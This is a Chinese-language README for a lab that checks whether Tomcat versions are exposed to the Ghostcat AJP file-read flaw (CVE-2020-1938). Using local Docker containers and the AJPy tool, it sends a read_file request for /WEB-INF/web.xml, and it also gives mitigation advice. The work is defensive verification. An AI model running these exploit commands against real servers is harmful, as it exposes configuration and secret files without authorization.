发现了一个名为 Ghostcat 的新漏洞 CVE-2020-1938,请参阅 snyk 和 tenable 上的文章以了解该漏洞的详细信息和分析。
在我的案例中,我想验证哪些 Tomcat 服务器可以被利用,如果可以,它如何表现。因此这个实验是检查 Tomcat 7、8 和 9。
TODO: 如何验证 Tomcat 7 是否存在漏洞?
我没有在真实服务器上测试漏洞,而是使用现有的 Tomcat 构建来执行我的实验,使用 AJPy 来构造 AJP 请求以便与 AJP 连接器通信。
git clone --recurse-submodules [email protected]:shaunmclernon/ghostcat-verification.git
cd ghostcat-verification/AJPy
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
如果返回了 web.xml,那么这个版本的 Tomcat 容易受到该漏洞的影响。
如果我们使用最新版本的 Tomcat 8.5 尝试相同的测试,可以看到它不容易受到此特定错误的影响。
docker run --name tomcat --rm -d -p 8080:8080 -p 8009:8009 tomcat:8.5
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
在这种情况下,我们应该会得到一个 Python 错误,这实际上意味着服务器没有漏洞;
Traceback (most recent call last):
File "tomcat.py", line 377, in <module>
hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes)
...
...
struct.error: unpack requires a buffer of 5 bytes
TODO: 如何验证 Tomcat 9 是否存在漏洞?
TODO: 如何验证一个 Springboot 服务是否存在漏洞?
显然,如果存在漏洞(无论版本如何),您应考虑升级到已修补的版本。另一种选择是阻止对 AJP 端口的访问。
启动相同的 Tomcat 版本,但不暴露 AJP 端口 8009。
docker run --name tomcat --rm -d -p 8080:8080 tomcat:8.5.32
python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
docker stop tomcat
在这种情况下,我们可以看到它将无法利用该服务器。
我不是安全专业人士,此仓库是为我的学习目的而构建,不打算用于恶意目的。